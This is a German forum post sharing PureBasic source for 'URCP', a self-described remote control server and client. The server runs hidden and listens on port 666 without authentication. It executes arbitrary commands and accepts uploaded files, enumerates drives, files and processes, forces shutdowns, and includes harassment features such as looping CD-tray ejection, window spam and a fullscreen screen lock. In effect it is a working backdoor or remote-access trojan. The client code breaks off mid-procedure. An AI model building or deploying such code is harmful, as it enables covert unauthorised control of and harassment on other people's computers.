URCP - Ultimate Remote Control Programm

Du brauchst Grafiken, gute Programme oder Leute die dir helfen? Frag hier.
pcnerd
Beiträge: 7
Registriert: 30.09.2004 17:42

URCP - Ultimate Remote Control Programm

Beitrag von pcnerd »

Hi leutz!

Ich habe schon vor längerer Zeit angefangen ein Remote Control Programm nach dem Client/Server Prinzip zu proggen, hab dann aber aufgehört, weil es Probleme mit der Synchronisation, die ich zur Abfrage des Serverstatus eingabaut habe gab. Außerdem gab es Probleme beim Versenden einer Datei übers Netzwerk. Ebenfalls gab es Probleme beim Pingen.
Das ganze Programm/Code ist noch ziemlich experimentell. Gesteuert wird das ganze über eine Kommandozeile. eine Version mit GUI hab ich auch schon, doch ich dachte mir, ich sollte ersteinmal den Server vollenden.

Hier der Code für den Server:

Code: Alles auswählen

Global Appname.s,hWnd.l,MainBrush.l,Maxx.l,Maxy.l 
MainBrush = GetStockObject_(#NULL_BRUSH) 
Appname = "MyClassWindow" 
Maxx = GetSystemMetrics_(#SM_CXSCREEN) 
Maxy = GetSystemMetrics_(#SM_CYSCREEN) 

Procedure WndProc(wnd,Message,wParam,lParam) 
  Ret.l = DefWindowProc_(wnd, Message, wParam, lParam) 
  Select Message 
    ; *********************** 
    Case #WM_CLOSE 
      ; ***********************
      UnregisterClass_(AppName$,hInstance) 
      DeleteObject_(MainBrush) 
      PostQuitMessage_(0)  
  EndSelect 
  ProcedureReturn Ret 
EndProcedure 

wc.WNDCLASS 
wc\style          =  #CS_VREDRAW | #CS_HREDRAW 
wc\lpfnWndProc    =  @WndProc() 
wc\cbClsExtra     =  0 
wc\cbWndExtra     =  0 
wc\hInstance      =  GetModuleHandle_(0) 
wc\hIcon          =  LoadIcon_(hInstance, "#1") 
wc\hCursor        =  LoadCursor_(0, #IDC_ARROW) 
wc\hbrBackground  =  MainBrush 
wc\lpszMenuName   =  0 
wc\lpszClassName  =  @Appname 

RegisterClass_(wc) 

Procedure HideWindowFromShowingInTaskbar(WindowID, NewWindowHandle, show) 
  If show=1 
    HideWindow(WindowID,1) 
  EndIf 
  SetWindowLong_(WindowID(WindowID),#GWL_HWNDPARENT,NewWindowHandle) 
  If show=1 
    HideWindow(WindowID,0) 
  EndIf 
  ProcedureReturn 
EndProcedure 

Procedure wndspam(title$)
  OpenWindow(0, 0, 0, 0, 0,0, "Not Needed") 
  HideWindow(0,1)
  w = GetSystemMetrics_(#SM_CXSCREEN) 
  h = GetSystemMetrics_(#SM_CYSCREEN) 
  For a = 1 To 200
    OpenWindow(a,Random(w-200),Random(h-200),200,200,#PB_Window_SystemMenu,title$) 
    HideWindowFromShowingInTaskbar(a,WindowID(0),0)
    Delay(1)
  Next a 
  back:
  Repeat
    Select WaitWindowEvent()
      Case #WM_CLOSE
        quit=1
      Default
    EndSelect
  Until quit=1
  quit=0
  CloseWindow(a)
  a=a-1
  If a=1
    Goto ende3
  EndIf
  Goto back
  ende3:
  CloseWindow(0)
EndProcedure

Procedure listfiles(dir$,clientid)
  SendNetworkString(clientid,"5")
  Delay(1)
  SendNetworkString(clientid,"Inhalt von "+dir$)
  Delay(1)
  Ok=ExamineDirectory(0,dir$,"*.*")
  If Ok=0
    SendNetworkString(clientid,"Verzeichnis kann nicht durchsucht werden!")
    Delay(1)
    SendNetworkString(clientid,"6")
    Goto ende
  EndIf
  entries=1
  Repeat
  Next=NextDirectoryEntry()
If Next=1
  FileName$ = DirectoryEntryName()
  Size = DirectoryEntrySize() 
  size$=Str(Size)
  line$=FileName$+" "+size$
  SendNetworkString(clientid,line$)
EndIf
If Next=2
  FileName$ = DirectoryEntryName()
  line$=FileName$+" <DIR>"
  SendNetworkString(clientid,line$)
EndIf
entries=entries+1
If entries=45
  entries=1
  Delay(1)
  SendNetworkString(clientid,"7")
  Repeat
  Until NetworkServerEvent()=2
EndIf
Delay(1)
Until Next=0
SendNetworkString(clientid,"6")
ende:
EndProcedure

#ICC_USEREX_CLASSES  = $200
#WS_CHILD            = $40000000
#WS_VISIBLE          = $10000000
#CBS_DROPDOWN        = 2
#CBS_AUTOHSCROLL     = $40
#WS_VSCROLL          = $200000
#SHGFI_SYSICONINDEX  = $4000
#SHGFI_SMALLICON     = 1
#CLR_NONE            = $FFFFFFFF
#CBEM_SETIMAGELIST   = $00000402
#CBEM_INSERTITEM     = $00000401
#CBEIF_TEXT          = $00000001
#CBEIF_IMAGE         = $00000002
#CBEIF_SELECTEDIMAGE = $00000004
#CB_SETCURSEL        = $14E

#DRIVE_REMOVABLE     = 2
#DRIVE_FIXED         = 3
#DRIVE_REMOTE        = 4
#DRIVE_CDROM         = 5
#DRIVE_RAMDISK       = 6

Structure DriveInfos
  DriveLetter.s
  DriveType.l
  DriveTypeString.s
  NameOfVolume.s
EndStructure

Procedure GetAllDrives(clientid)
  SendNetworkString(clientid,"5")
  Delay(1)
  SendNetworkString(clientid,"Laufwerke auf Host:")
  Delay(1)
  SendNetworkString(clientid,"-------------------")
  Delay(1)
  
  ; create linked list to store drive name  
  NewList Drive.DriveInfos()
  
  ; Get all drives letter
  AllDrivesNames.s = Space(255)  ; AllDrivesNames receive string from GetLogicalDriveStrings API
  *AllDrivesNames.l = @AllDrivesNames 
  DrivesExist.l = GetLogicalDriveStrings_(255,*AllDrivesNames)
  NbOfDrives.b = 0
  If DrivesExist
    NbOfDrives = DrivesExist/4
    lpFileSystemNameBuffer.s = Space(255)
    
    For i.b = 1 To NbOfDrives
      AddElement(Drive())
      ;;-------- Drive letter
      ;; Drive()\Name have 3 chars : first the drive letter
      ;; second ":"
      ;; third  "\"                    
      
      Drive()\DriveLetter = UCase(PeekS(*AllDrivesNames,3))
      driveletter$=UCase(PeekS(*AllDrivesNames,3))
      *AllDrivesNames + 4
      ;;-------- Volume name
      Drive()\NameOfVolume = ""
      
      GetVolumeInformation_(Drive()\DriveLetter,Drive()\NameOfVolume,255,0,0,0,lpFileSystemNameBuffer,255)
      If Len(Drive()\NameOfVolume)
        drivename$ = UCase(Left(Drive()\NameOfVolume ,1)) + LCase(Mid(Drive()\NameOfVolume ,2,Len(Drive()\NameOfVolume)-1))
      Else
        drivename$ = "Keine Bezeichnung"
      EndIf
      
      ; determine type of drive 
      Drive()\DriveType = GetDriveType_(@Drive()\DriveLetter)
      Select Drive()\DriveType
        
        Case 0  ; drive not determined
          drivetype$ = "Unbekannter Typ"
          
        Case 1  ; 1	The root directory does not exist
          drivetype$ = "Rootverzeichnis existiert nicht"
          
        Case #DRIVE_REMOVABLE  ;The drive can be removed from the drive.
          drivetype$ = "Diskettenlaufwerk"
          
        Case #DRIVE_FIXED      ; The disk cannot be removed from the drive.
          drivetype$ = "HDD"
          
        Case #DRIVE_REMOTE     ; The drive is a remote (network) drive.
          drivetype$="Netzlaufwerk"
        Case #DRIVE_CDROM      ; The drive is a CD-ROM drive.
          drivetype$="CD-ROM"
        Case #DRIVE_RAMDISK    ; The drive is a RAM disk.
          drivetype$="RAM-Disk"
        Default 
          drivetype$="Unbekannter Typ"
          
      EndSelect
      drive$=driveletter$+" "+drivename$+" "+drivetype$
      SendNetworkString(clientid,drive$)
      Delay(1)
    Next i 
  EndIf
  SendNetworkString(clientid,"6")
EndProcedure 

Procedure SetLEDKey(key$,newstate)
  Select LCase(key$)
    Case "c" : keycode=#VK_CAPITAL : oldstate=GetKeyState_(keycode)
    Case "n" : keycode=#VK_NUMLOCK : oldstate=GetKeyState_(keycode)
    Case "s" : keycode=#VK_SCROLL : oldstate=GetKeyState_(keycode)
  EndSelect
  If oldstate<>newstate
    keybd_event_(keycode,1,0,0)
    keybd_event_(keycode,1,#KEYEVENTF_KEYUP,0)
  EndIf
EndProcedure

#IOCTL_STORAGE_EJECT_MEDIA  = $2D4808 
#IOCTL_STORAGE_LOAD_MEDIA   = $2D480C 

Procedure EjectCD(LW.s) 
  Protected hLwStatus.l 
  hLwStatus = CreateFile_("\\.\"+LW,#GENERIC_READ|#GENERIC_WRITE, 0, 0, #OPEN_EXISTING, 0, 0) 
  If hLwStatus 
    DeviceIoControl_(hLwStatus,#IOCTL_STORAGE_EJECT_MEDIA,0,0,0,0,@Ret,0) 
    CloseHandle_(hLwStatus) 
  EndIf 
EndProcedure  

Procedure LoadCD(LW.s) 
  Protected hLwStatus.l 
  hLwStatus = CreateFile_("\\.\"+LW,#GENERIC_READ|#GENERIC_WRITE, 0, 0, #OPEN_EXISTING, 0, 0) 
  If hLwStatus 
    DeviceIoControl_(hLwStatus,#IOCTL_STORAGE_LOAD_MEDIA,0,0,0,0,@Ret,0) 
    CloseHandle_(hLwStatus) 
  EndIf 
EndProcedure

#CLSCTX_INPROC_SERVER  = $1
#CLSCTX_INPROC_HANDLER = $2
#CLSCTX_LOCAL_SERVER   = $4
#CLSCTX_REMOTE_SERVER  = $10
#CLSCTX_ALL = (#CLSCTX_INPROC_SERVER|#CLSCTX_INPROC_HANDLER|#CLSCTX_LOCAL_SERVER|#CLSCTX_REMOTE_SERVER)

Procedure InitSpeech()
  Shared VoiceObject
  CoInitialize_(0)
  If CoCreateInstance_(?CLSID_SpVoice, 0, #CLSCTX_ALL, ?IID_ISpVoice, @VoiceObject) = 0
    ProcedureReturn 1
  Else
    ProcedureReturn 0
  EndIf
  DataSection
  CLSID_SpVoice:
  ;96749377-3391-11D2-9EE3-00C04F797396
  Data.l $96749377
  Data.w $3391,$11D2
  Data.b $9E,$E3,$00,$C0,$4F,$79,$73,$96
  IID_ISpVoice:
  ;6C44DF74-72B9-4992-A1EC-EF996E0422D4
  Data.l $6C44DF74
  Data.w $72B9,$4992
  Data.b $A1,$EC,$EF,$99,$6E,$04,$22,$D4
  EndDataSection
EndProcedure

Procedure Speak(String.s)
  Shared VoiceObject
  length = Len(String)*2+10
  *mem = AllocateMemory(1,length,0)
  MultiByteToWideChar_(#CP_ACP ,0,String,-1,*mem,length)
  CallCOM(80,VoiceObject,*mem,0,0)
EndProcedure

Procedure CloseSpeech()
  Shared VoiceObject
  CallCOM(08,VoiceObject)
  CoUninitialize_()
EndProcedure

Structure PROCESS_MEMORY_COUNTERS 
  cb.l 
  PageFaultCount.l 
  PeakWorkingSetSize.l 
  WorkingSetSize.l 
  QuotaPeakPagedPoolUsage.l 
  QuotaPagedPoolUsage.l 
  QuotaPeakNonPagedPoolUsage.l 
  QuotaNonPagedPoolUsage.l 
  PageFileUsage.l 
  PeakPagefileUsage.l 
EndStructure 

#OWNER_SECURITY_INFORMATION = $00000001 
#GROUP_SECURITY_INFORMATION = $00000002 
#DACL_SECURITY_INFORMATION  = $00000004 
#SACL_SECURITY_INFORMATION  = $00000008 
#PROCESS_TERMINATE          = $0001 
#PROCESS_CREATE_THREAD      = $0002  
#PROCESS_SET_SESSIONID      = $0004  
#PROCESS_VM_OPERATION       = $0008  
#PROCESS_VM_READ            = $0010  
#PROCESS_VM_WRITE           = $0020  
#PROCESS_DUP_HANDLE         = $0040  
#PROCESS_CREATE_PROCESS     = $0080  
#PROCESS_SET_QUOTA          = $0100  
#PROCESS_SET_INFORMATION    = $0200  
#PROCESS_QUERY_INFORMATION  = $0400  
#PROCESS_ALL_ACCESS         = #STANDARD_RIGHTS_REQUIRED | #SYNCHRONIZE | $FFF 


#NbProcessesMax = 10000 
Dim ProcessesArray(#NbProcessesMax) 


Procedure GetProcessListNt(clientid)
  SendNetworkString(clientid,"Laufende Prozesse auf "+computername$+":") 
  
  If OpenLibrary(0, "psapi.dll") 
    
    EnumProcesses      = IsFunction(0, "EnumProcesses") 
    EnumProcessModules = IsFunction(0, "EnumProcessModules") 
    GetModuleBaseName  = IsFunction(0, "GetModuleBaseNameA")
    
    If EnumProcesses And EnumProcessModules And GetModuleBaseName; Be sure we have detected all the functions 
      
      CallFunctionFast(EnumProcesses, ProcessesArray(), #NbProcessesMax, @nProcesses) 
      
      For k=1 To nProcesses/4 
        hProcess = OpenProcess_(#PROCESS_QUERY_INFORMATION | #PROCESS_VM_READ, 0, ProcessesArray(k-1)) 
        
        If hProcess 
          CallFunctionFast(EnumProcessModules, hProcess, @BaseModule, 4, @cbNeeded) 
          Name$ = Space(255) 
          CallFunctionFast(GetModuleBaseName, hProcess, BaseModule, @Name$, Len(Name$))
          hprocess$=Str(hProcess)
          If k=45
            SendNetworkString(clientid,"7")
            Repeat
            Until NetworkServerEvent()=2
            Delay(1) 
          EndIf
          SendNetworkString(clientid,name$)
          Delay(1) 
          CloseHandle_(hProcess) 
        EndIf 
      Next     
    EndIf 
    CloseLibrary(0)
  EndIf 
  
EndProcedure 

Structure SERVER_INFO_101
  dwPlatformId.l
  lpszServerName.l
  dwVersionMajor.l
  dwVersionMinor.l
  dwType.l
  lpszComment.l
EndStructure

Structure WKSTA_INFO_100
  wki100_platform_id.l  ;Indicates level to use for get platform-specific info.
  wki100_computername.l;Contains name of local computer in Unicode
  wki100_langroup.l;Contains domain computer belongs to in Unicode
  wki100_ver_major.l;Holds Major version number of OS on local computer
  wki100_ver_minor.l;Holds Minor version number of OS on local computer
EndStructure

#MAX_PREFERRED_LENGTH              = -1
#SV_TYPE_ALL =$FFFFFFFF
#NERR_SUCCESS                      = 0
#ERROR_MORE_DATA                   = 234

Procedure GetServerList()
  se101.SERVER_INFO_101
  nStructSize = SizeOf(SERVER_INFO_101)
  RetCode = NetServerEnum_(0, 101, @bufptr, #MAX_PREFERRED_LENGTH, @dwEntriesread, @dwTotalentries, #SV_TYPE_ALL, 0, @dwResumehandle)
  If RetCode = #NERR_SUCCESS And RetCode <> #ERROR_MORE_DATA
    ;Loop through And the Data in the memory
    For i = 0 To dwEntriesread - 1
      CopyMemory( bufptr + (nStructSize * i),@se101, nStructSize)
      Buffer.s=Space(512)
      Result=WideCharToMultiByte_(#CP_ACP ,0,se101\lpszServerName,255,@Buffer.s,512,0,0)
      PrintN(Buffer)
    Next
  EndIf
  NetApiBufferFree_(bufptr)
EndProcedure

Procedure.s GetLocalSystemName()
  twkstaInfo100.WKSTA_INFO_100
  lwkstaInfo100.l
  nStructSize=SizeOf(WKSTA_INFO_100)
  Result= NetWkstaGetInfo_(0, 100, @lwkstaInfo100)
  If Result=0
    CMResult=CopyMemory( lwkstaInfo100,@twkstaInfo100, nStructSize)
    Buffer.s=Space(512)
    Result=WideCharToMultiByte_(#CP_ACP ,0,twkstaInfo100\wki100_computername,-1,@Buffer.s,512,0,0)
    ProcedureReturn Trim(Buffer)
  Else
    ProcedureReturn "DAMM :("
  EndIf
EndProcedure

Procedure NTSendMessage(NTFrom.s,NTTo.s,NTMessage.s)
  Buffer1 = AllocateMemory(1, Len(NTTo)*2, 0)
  Result=MultiByteToWideChar_(#CP_ACP ,0,NTTo,-1,Buffer1,Len(NTTo)*2)
  
  Buffer2 = AllocateMemory(2, Len(NTFrom)*2, 0)
  Result=MultiByteToWideChar_(#CP_ACP ,0,NTFrom,-1,Buffer2,Len(NTFrom)*2)
  
  buf.s="MeineNachricht"
  buflen.l=Len(NTMessage)
  
  Buffer3 = AllocateMemory(3, Len(NTMessage)*2, 0)
  Result=MultiByteToWideChar_(#CP_ACP ,0,NTMessage.s,-1,Buffer3,buflen*2)
  
  Result=NetMessageBufferSend_(0,Buffer1,Buffer2,Buffer3,buflen*2)
  FreeMemory(1)
  FreeMemory(2)
  FreeMemory(3)
  
EndProcedure

Procedure.s GetDateString()
  GetLocalTime_(@s.SYSTEMTIME)
  Month$ = Str(s\wMonth)
  Day$ = Str(s\wDay)
  If Len(Month$) = 1 : Month$ = "0"+Month$ : EndIf
  If Len(Day$) = 1 : Day$ = "0"+Day$ : EndIf
  Date$ = Day$+"."+Month$+"."+Str(s\wYear)
  ProcedureReturn Date$
EndProcedure

Procedure.s GetTimeString() 
  GetLocalTime_(@s.SYSTEMTIME)
  Hour$ = Str(s\wHour)
  Minute$ = Str(s\wMinute)
  Second$ = Str(s\wSecond)
  If Len(Hour$) = 1 : Hour$ = "0"+Hour$ : EndIf
  If Len(Minute$) = 1 : Minute$ = "0"+Minute$ : EndIf
  If Len(Second$) = 1 : Second$ = "0"+Second$ : EndIf
  Time$ = Hour$+":"+Minute$+":"+Second$+" "
  ProcedureReturn Time$
EndProcedure

#SERVERVERSION="0.3.4.0.5 Beta"
lpCmdLine = GetCommandLine_() 
myposition$ = PeekS(lpCmdLine) 
hidden=1
retry:
InitNetwork()
If CreateNetworkServer(666)=0
  Goto retry
EndIf
mainloop:
Repeat
  Select clienton
    Case 0
      Select NetworkServerEvent()
        Case 1
          clienton=1
          Buffer2.s = Space(1024)
          bufsize.l = 1024 
          GetComputerName_(@Buffer2, @bufsize) 
          computername$=PeekS(Buffer2,bufsize)
          bufsize.l = 1024 
          GetUserName_(@Buffer2, @bufsize) 
          username$=PeekS(Buffer2,bufsize)
          clientid=NetworkClientID()
          SendNetworkString(clientid,"Willkommen auf URCP-Server "+#SERVERVERSION+"!")
          SendNetworkString(clientid,"@"+computername$+"/"+username$+" "+GetDateString()+" "+GetTimeString())
      EndSelect
    Case 1
      Select NetworkServerEvent()
        Case 4
          clienton=0
          Goto mainloop
        Case 2
          Buffer=AllocateMemory(0,1024,0)
          ReceiveNetworkData(clientid,Buffer,1024)
          cmdstring$=PeekS(Buffer)
          FreeMemory(0)
          Gosub executecmd
      EndSelect
  EndSelect
Until quit=1
End

Procedure picbox(pic$)
  OpenWindow(0, 0, 0, 0, 0,0, "Not Needed") 
  HideWindow(0,1)
  LoadImage(0,pic$)
  OpenWindow(1,0,0,ImageWidth(),ImageHeight(),#PB_Window_SystemMenu,"")
  HideWindowFromShowingInTaskbar(1,WindowID(0), 0) 
  CreateGadgetList(WindowID())
  ImageGadget(0,0,0,ImageWidth(),ImageHeight(),ImageID(),0)
  Repeat
    Select WaitWindowEvent()
      Case #WM_CLOSE
        quit=1
      Default
    EndSelect
  Until quit=1
  CloseWindow(1)
  quit=0
EndProcedure

executecmd:
If FindString(cmdstring$,"runcmd",1)=1
  cmd$=Mid(cmdstring$,8,255)
  SendNetworkString(clientid,"1")
  RunProgram(cmd$,"",0)
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"lockmouse",1)=1
  SendNetworkString(clientid,"1")
  text$=Mid(cmdstring$,11,255)
  SendNetworkString(clientid,"1")
  hWnd = CreateWindowEx_(0,Appname,"",#WS_POPUP|#WS_VISIBLE,0,0,Maxx,Maxy,0,0,GetModuleHandle_(0),0) 
  TextOut_(GetDC_(hWnd),0,0,text$,Len(text$)) 
  If hWnd 
    While GetMessage_(m.MSG, 0, 0, 0)
      TranslateMessage_(m) 
      DispatchMessage_(m) 
    Wend 
  EndIf 
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"wndspam",1)=1
  title$=Mid(cmdstring$,9,255)
  SendNetworkString(clientid,"1")
  wndspam(title$)
  cmdstring$=""
  Return
EndIf
If cmdstring$="srvpos"
  SendNetworkString(clientid,"5")
  Delay(1)
  SendNetworkString(clientid,myposition$)
  Delay(1)
  SendNetworkString(clientid,"6")
  cmdstring$=""
  Return
EndIf
If cmdstring$="drivelist"
  GetAllDrives(clientid)
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"dir",1)=1
  dir$=Mid(cmdstring$,5,255)
  listfiles(dir$,clientid)
  dir$=""
  cmdstring$=""
  Return
EndIf
If cmdstring$="proclist"
  SendNetworkString(clientid,"5")
  Delay(1)
  GetProcessListNt(clientid)
  Delay(1)
  SendNetworkString(clientid,"6")
  Name$=""
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"kbleds",1)=1
  opt$=Mid(cmdstring$,8,1)
  If opt$=""
    SendNetworkString(clientid,"2")
    cmdstring$=""
    Return
  EndIf
  opt=Val(opt$)
  SendNetworkString(clientid,"3")
  Select opt
    Case 1
      Repeat
        SetLEDKey("c",1)
        Delay(250)
        SetLEDKey("c",0)
        SetLEDKey("n",1)
        Delay(250)
        SetLEDKey("n",0)
        SetLEDKey("s",1)
        Delay(250)
        SetLEDKey("s",0)
      Until NetworkServerEvent()=2
      SendNetworkString(clientid,"4")
    Case 2
      Repeat
        SetLEDKey("n",1)
        Delay(500)
        SetLEDKey("n",0)
        Delay(500)
        SetLEDKey("c",1)
        Delay(500)
        SetLEDKey("c",0)
        Delay(500)
        SetLEDKey("s",1)
        Delay(500)
        SetLEDKey("s",0)
        Delay(500)
      Until NetworkServerEvent()=2
      SendNetworkString(clientid,"4")
    Case 3
      Repeat
        SetLEDKey("n",1)
        SetLEDKey("c",1)
        SetLEDKey("s",1)
        Delay(500)
        SetLEDKey("n",0)
        SetLEDKey("c",0)
        SetLEDKey("s",0)
        Delay(500)
      Until NetworkServerEvent()=2
      SendNetworkString(clientid,"4")
    Default
  EndSelect
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"cdtray",1)=1
  drive$=Mid(cmdstring$,8,2)
  If drive$=""
    SendNetworkString(clientid,"2")
    cmdstring$=""
    Return
  EndIf
  If FindString(cmdstring$,"-terror",1)>0
    SendNetworkString(clientid,"3")
    Repeat
      EjectCD(drive$)
      LoadCD(drive$)
    Until NetworkServerEvent()=2
    SendNetworkString(clientid,"4")
    cmdstring$=""
    Return
  EndIf
  If opened=0
    EjectCD(drive$)
    opened=1
    SendNetworkString(clientid,"1")
    cmdstring$=""
    Return
  EndIf
  If opened=1
    LoadCD(drive$)
    opened=0
    SendNetworkString(clientid,"1")
    cmdstring$=""
    Return
  EndIf
EndIf
If FindString(cmdstring$,"speak",1)=1
  text$=Mid(cmdstring$,7,255)
  If text$=""
    SendNetworkString(clientid,"2")
    cmdstring$=""
    Return
  EndIf
  InitSpeech()
  Speak(text$)
  CloseSpeech()
  SendNetworkString(clientid,"1")
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"cp2srv",1)=1
  file$=Mid(cmdstring$,8,255)
  Repeat
  Until NetworkServerEvent()=2
  Buffer=AllocateMemory(0,255,0)
  ReceiveNetworkData(clientid,Buffer,255)
  dest$=PeekS(Buffer)
  FreeMemory(0)
  SendNetworkString(clientid,"1")
  Repeat
  Until NetworkServerEvent()=2
  ReceiveNetworkFile(clientid,dest$)
  SendNetworkString(clientid,"1")
  cmdstring$=""
  file$=""
  dest$=""
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"picbox",1)=1
  pic$=Mid(cmdstring$,8,255)
  SendNetworkString(clientid,"1")
  picbox(pic$)
  cmdstring$=""
  Return
EndIf
If cmdstring$="hide"
  If hidden=0
    CloseConsole()
    hidden=1
    SendNetworkString(clientid,"1")
  EndIf
  cmdstring$=""
  Return
EndIf
If cmdstring$="show"
  If hidden=1
    OpenConsole()
    ConsoleTitle("URCP-Server "+#SERVERVERSION)
    hidden=0
    SendNetworkString(clientid,"1")
  EndIf
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"playwav",1)=1
  snd$=Mid(cmdstring$,9,255)
  InitSound()
  If LoadSound(0,snd$)=0
    SendNetworkString(clientid,"2")
    cmdstring$=""
    Goto executecmd
  EndIf
  PlaySound(0)
  cmdstring$=""
  SendNetworkString(clientid,"1")
  Return
EndIf
If FindString(cmdstring$,"playmp3",1)=1
  snd$=Mid(cmdstring$,9,255)
  If snd$=""
    cmdstring$=""
    SendNetworkString(clientid,"1")
    Goto executecmd
  EndIf
  InitMovie()
  If LoadMovie(0,snd$)=0
    SendNetworkString(clientid,"2")
    cmdstring$=""
    Goto executecmd
  EndIf
  PlayMovie(0,WindowID())
  playingmp3=1
  cmdstring$=""
  SendNetworkString(clientid,"1")
  Return
EndIf
If FindString(cmdstring$,"stopmp3",1)=1
  StopMovie()
  SendNetworkString(clientid,"1")
  Return
EndIf
If cmdstring$="killsrv"
  SendNetworkString(clientid,"1")
  End
EndIf
If cmdstring$="srvinfo"
  SendNetworkString(clientid,"5")
  Delay(10)
  SendNetworkString(clientid,"URCP-Server "+#SERVERVERSION)
  Delay(10)
  SendNetworkString(clientid,"@"+computername$+"/"+username$+" "+GetDateString()+" "+GetTimeString())
  Delay(10)
  SendNetworkString(clientid,"6")
  cmdstring$=""
  Return
EndIf
If cmdstring$="disconnect"
  cmdstring$=""
  clienton=0
  CloseNetworkConnection(clientid)
  Goto mainloop
EndIf
If FindString(cmdstring$,"restart",1)=1
  If Mid(cmdstring$,9,255)=""
    params$="-r -f -t 0"
  Else
    params$=Mid(cmdstring$,9,255)
  EndIf
  RunProgram("shutdown",params$,0)
  SendNetworkString(clientid,"1")
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"shutdown",1)=1
  If Mid(cmdstring$,10,255)=""
    params$="-s -f -t 0"
  Else
    params$=Mid(cmdstring$,10,255)
  EndIf
  If FindString(cmdstring$,"-speak",1)=1
    InitSpeech()
    Speak("This Computer will be shutdown in 3 seconds")
    Delay(3000)
    Speak("3")
    Delay(1000)
    Speak("2")
    Delay(1000)
    Speak("1")
    Delay(1000)
    CloseSpeech()
  EndIf
  RunProgram("shutdown",params$,0)
  SendNetworkString(clientid,"1")
  cmdstring$=""
  Return
EndIf
If FindString(cmdstring$,"msgbox",1)=1
  parampos=FindString(cmdstring$,"-speak",1)
  If parampos=0
    parampos=255
  EndIf
  string$=Mid(cmdstring$,8,parampos)
  If parampos<255
    InitSpeech()
    Speak(string$)
    CloseSpeech()
    MessageRequester("",string$,0)
  Else
    MessageRequester("",string$,0)
  EndIf
  SendNetworkString(clientid,"1")
  cmdstring$=""
  Return
EndIf
SendNetworkString(clientid,"0")
cmdstring$=""
Return
Hier der Code für den Client

Code: Alles auswählen

Procedure view_progress(Count,loopy)
  ClearConsole()
  PrintN("SPAMME...")
  If loopy=1
    PrintN("Endlosschleife...")
  EndIf
  count$=Str(Count)
  PrintN(count$+" Nachrichten gesendet!")
  PrintN("ABBRUCH MIT BELIEBIGER TASTE!")
EndProcedure

Structure SERVER_INFO_101
  dwPlatformId.l
  lpszServerName.l
  dwVersionMajor.l
  dwVersionMinor.l
  dwType.l
  lpszComment.l
EndStructure

Structure WKSTA_INFO_100
  wki100_platform_id.l  ;Indicates level to use for get platform-specific info.
  wki100_computername.l;Contains name of local computer in Unicode
  wki100_langroup.l;Contains domain computer belongs to in Unicode
  wki100_ver_major.l;Holds Major version number of OS on local computer
  wki100_ver_minor.l;Holds Minor version number of OS on local computer
EndStructure

#MAX_PREFERRED_LENGTH              = -1
#SV_TYPE_ALL =$FFFFFFFF
#NERR_SUCCESS                      = 0
#ERROR_MORE_DATA                   = 234

Procedure GetServerList()
  se101.SERVER_INFO_101
  nStructSize = SizeOf(SERVER_INFO_101)
  RetCode = NetServerEnum_(0, 101, @bufptr, #MAX_PREFERRED_LENGTH, @dwEntriesread, @dwTotalentries, #SV_TYPE_ALL, 0, @dwResumehandle)
  If RetCode = #NERR_SUCCESS And RetCode <> #ERROR_MORE_DATA
    ;Loop through And the Data in the memory
    For i = 0 To dwEntriesread - 1
      CopyMemory( bufptr + (nStructSize * i),@se101, nStructSize)
      Buffer.s=Space(512)
      Result=WideCharToMultiByte_(#CP_ACP ,0,se101\lpszServerName,255,@Buffer.s,512,0,0)
      PrintN(Buffer)
    Next
  EndIf
  NetApiBufferFree_(bufptr)
EndProcedure

Procedure.s GetLocalSystemName()
  twkstaInfo100.WKSTA_INFO_100
  lwkstaInfo100.l
  nStructSize=SizeOf(WKSTA_INFO_100)
  Result= NetWkstaGetInfo_(0, 100, @lwkstaInfo100)
  If Result=0
    CMResult=CopyMemory( lwkstaInfo100,@twkstaInfo100, nStructSize)
    Buffer.s=Space(512)
    Result=WideCharToMultiByte_(#CP_ACP ,0,twkstaInfo100\wki100_computername,-1,@Buffer.s,512,0,0)
    ProcedureReturn Trim(Buffer)
  Else
    ProcedureReturn "DAMM :("
  EndIf
EndProcedure

Procedure NTSendMessage(NTFrom.s,NTTo.s,NTMessage.s)
  Buffer1 = AllocateMemory(1, Len(NTTo)*2, 0)
  Result=MultiByteToWideChar_(#CP_ACP ,0,NTTo,-1,Buffer1,Len(NTTo)*2)

  Buffer2 = AllocateMemory(2, Len(NTFrom)*2, 0)
  Result=MultiByteToWideChar_(#CP_ACP ,0,NTFrom,-1,Buffer2,Len(NTFrom)*2)

  buf.s="MeineNachricht"
  buflen.l=Len(NTMessage)

  Buffer3 = AllocateMemory(3, Len(NTMessage)*2, 0)
  Result=MultiByteToWideChar_(#CP_ACP ,0,NTMessage.s,-1,Buffer3,buflen*2)

  Result=NetMessageBufferSend_(0,Buffer1,Buffer2,Buffer3,buflen*2)
  FreeMemory(1)
  FreeMemory(2)
  FreeMemory(3)

EndProcedure

Structure HOSTENT
  h_name.l
  h_aliases.l
  h_addrtype.w
  h_length.w
  h_addr_list.l
EndStructure

#MAX_PREFERRED_LENGTH = -1
#SV_TYPE_ALL          = $FFFFFFFF
#NERR_SUCCESS         = 0
#ERROR_MORE_DATA      = 234
#MainWindow           = 100
#MMTB                 = 200
Global MMTextBox

Procedure Message (m.s)
  WriteMessage.s
  WriteMessage +Chr(13)+Chr(10)+m
  SetGadgetText(#MMTB,GetGadgetText(#MMTB) + WriteMessage )
  SendMessage_(MMTextBox,$00B6,0,10000)

EndProcedure

Procedure.s GetIPbyName (NameIP.s)
  TheIPAdress.s
  If InitNetwork()
    pHostinfo = gethostbyname_(NameIP)
    If pHostinfo = 0
      TheIPAdress = "Namensauflösung auf Host deaktiviert!"
    Else
      CopyMemory (pHostinfo, hostinfo.HOSTENT, SizeOf(HOSTENT))
      If hostinfo\h_addrtype <> #AF_INET
        PrintN("Namensauflösung auf Host deaktiviert!")
      Else
        While PeekL(hostinfo\h_addr_list+AdressNumber*4)
          ipAddress = PeekL(hostinfo\h_addr_list+AdressNumber*4)
          TheIPAdress = StrU(PeekB(ipAddress),0)+"."+StrU(PeekB(ipAddress+1),0)+"."+StrU(PeekB(ipAddress+2),0)+"."+StrU(PeekB(ipAddress+3),0)
          AdressNumber+1
        Wend
